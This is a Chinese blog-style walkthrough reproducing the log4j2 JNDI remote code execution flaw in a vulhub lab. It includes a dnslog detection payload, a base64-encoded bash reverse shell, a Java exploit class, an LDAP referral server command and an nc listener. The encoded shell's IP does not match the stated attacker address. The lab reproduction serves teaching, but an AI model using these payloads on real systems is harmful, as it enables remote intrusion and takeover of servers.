log4j2远程代码执行漏洞复现
漏洞原理
log4j2框架下的lookup查询服务提供了{}字段解析功能,传进去的值会被直接解析。
例如${java:version}会被替换为对应的java版本。这样如果不对lookup的出栈进行限制,就有可能让查询指向任何服务(可能是攻击者部署好的恶意代码)。
攻击者可以利用这一点进行JNDI注入,使得受害者请求远程服务来链接本地对象,在lookup的{}里面构造payload,调用JNDI服务(LDAP)向攻击者提前部署好的恶意站点获取恶意的.class对象,造成了远程代码执行(可反弹shell到指定服务器)。
靶场搭建
靶机: centos7 192.168.110.130
攻击机:Debian 192.168.110.161
搭建网站(此处用的是github的vulhub搭建,靶场地址:vulhub)
进入项目 vulhub-master/log4j/CVE-2021-44228
执行命令启动靶场:docker-compose up -d(使用docker-compose需先安装该工具)

查看靶场端口(此处端口是8983)

成功打开网站,靶场搭建成功。

漏洞检测
使用dnslog回显检测漏洞,网站:dnslog.cn
1)点击get subdomain获取一个子域名。

2)构造payload测试漏洞。
网站目录/solr/admin/cores?有个参数可以传,在此构造payload,测试输出java版本。
?action=${jndi:ldap://此处可变.d0ztyf.dnslog.cn},构造完payload然后访问。
http://192.168.110.130:8983/solr/admin/cores?action=${jndi:ldap://${sys:java.version}.d0ztyf.dnslog.cn}

3)下一步打开dnslog测试网站,点击refresh recode,成功获得java版本信息。(1.8.0_102就是网站服务站java版本信息。)

漏洞利用
这一步有两种方法,一种是使用工具(工具更简单),一种是手敲(更复杂一些),这里用手敲。
此处分五步骤,分别是:编写exp、开启http服务、开启ldap、建立nc监听、jndi注入。
编写exp
1)首先,因为要反弹shell到我们的攻击机,所以对应的bash指令就是:
bash -i >& /dev/tcp/192.168.110.161/7777 0>&1
2)需要先对该条指令进行base64编码:
编码结果:
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjExMC4xNjEvNzc3NyAwPiYx}|{base64,-d}|{bash,-i}
3)开始编写exp
import java.lang.Runtime;
import java.lang.Process;
public class Exploit {
public Exploit(){
try{
Runtime.getRuntime().exec("/bin/bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIwMC4xMzEvNzc3NyAwPiYx}|{base64,-d}|{bash,-i}");
}catch(Exception e){
e.printStackTrace();
}
}
public static void main(String[] argv){
Exploit e = new Exploit();
}
}
4)把该恶意文件编译成class文件(注意,一定要保证java和javac版本一致,不然最后一步没有回显),把该class文件放在攻击机的一个空文件夹下。
开启http服务
1)在有exp的class文件下执行以下代码:
python -m http.server 4444

2)测试http网站

只要保证站点目录里有exploit.class文件就可以。
启动LDAP服务
1)这里使用一款工具(marshalsec-0.0.3-SNAPSHOT-all.jar)快速开启LDAP服务,
工具获取地址:https://www.cnblogs.com/cute-puli/p/14373826.html
ldap启动指令:
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://刚才http服务的地址:端口号/#Exploit" 1389

建立nc监听
此处使用指令:nc -lvvp 7777
jndi注入
访问网站

此时查看攻击机:
复现成功。
更多推荐



所有评论(0)